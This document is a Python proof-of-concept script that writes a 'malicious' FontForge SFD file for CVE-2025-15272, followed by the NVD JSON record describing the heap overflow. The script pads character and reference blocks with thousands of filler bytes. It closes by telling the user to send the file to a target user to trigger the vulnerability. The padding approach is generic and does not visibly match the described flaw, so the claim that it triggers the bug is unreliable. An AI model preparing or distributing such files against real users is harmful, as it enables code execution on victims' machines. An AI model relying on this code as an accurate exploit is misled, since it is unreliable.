CVE-2025-15272

# CVE-2025-15272 PoC - FontForge SFD Heap Buffer Overflow # This PoC generates a malicious SFD file with oversized data to trigger heap overflow import struct def generate_malicious_sfd(): """Generate a malicious SFD file that triggers heap buffer overflow in FontForge""" # SFD file header sfd_content = b"SplineFontDB: 3.0\n" sfd_content += b"FontName: MaliciousFont\n" sfd_content += b"FullName: Malicious Font\n" sfd_content += b"FamilyName: Malicious Family\n" sfd_content += b"Version: 1.0\n" # Trigger overflow in bitmap character data # Insert oversized character data length field sfd_content += b"BDFChar: 65 0x41 100 0 -10 100 10\n" # Generate oversized data to trigger heap buffer overflow # The vulnerability is in parsing character bitmaps overflow_size = 10000 # Large size to overflow typical buffer malicious_data = b"\xFF" * overflow_size sfd_content += malicious_data sfd_content += b"\nEndBDFChar\n" # Add more malformed structures sfd_content += b"\nSplineChar:\n" sfd_content += b"Width: 1000\n" sfd_content += b"Layer:\n" sfd_content += b" Refs: \n" # Oversized reference data sfd_content += b" " * 5000 + b"\n" sfd_content += b"EndSplineChar\n" sfd_content += b"EndFont\n" return sfd_content def main(): print("[*] Generating CVE-2025-15272 PoC SFD file...") malicious_sfd = generate_malicious_sfd() output_file = "CVE-2025-15272_malicious.sfd" with open(output_file, "wb") as f: f.write(malicious_sfd) print(f"[+] Malicious SFD file created: {output_file}") print(f"[+] File size: {len(malicious_sfd)} bytes") print("[+] Send this file to target user to trigger vulnerability") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-15272", "sourceIdentifier": "[email protected]", "published": "2025-12-31T07:15:51.233", "lastModified": "2026-01-07T16:09:30.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FontForge SFD File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of FontForge. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of SFD files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-28547."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por desbordamiento de búfer basado en montículo en el análisis de archivos SFD de FontForge. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de FontForge. Se requiere interacción del usuario para explotar esta vulnerabilidad, ya que el objetivo debe visitar una página maliciosa o abrir un archivo malicioso.\n\nLa falla específica existe dentro del análisis de archivos SFD. El problema resulta de la falta de validación adecuada de la longitud de los datos proporcionados por el usuario antes de copiarlos a un búfer basado en montículo. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del usuario actual. Fue ZDI-CAN-28547."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fontforge:fontforge:2025-11-17:*:*:*:*:*:*:*", "matchCriteriaId": "F1A9337A-AD25-4C56-964A-CCD44CEF611F"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1192/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}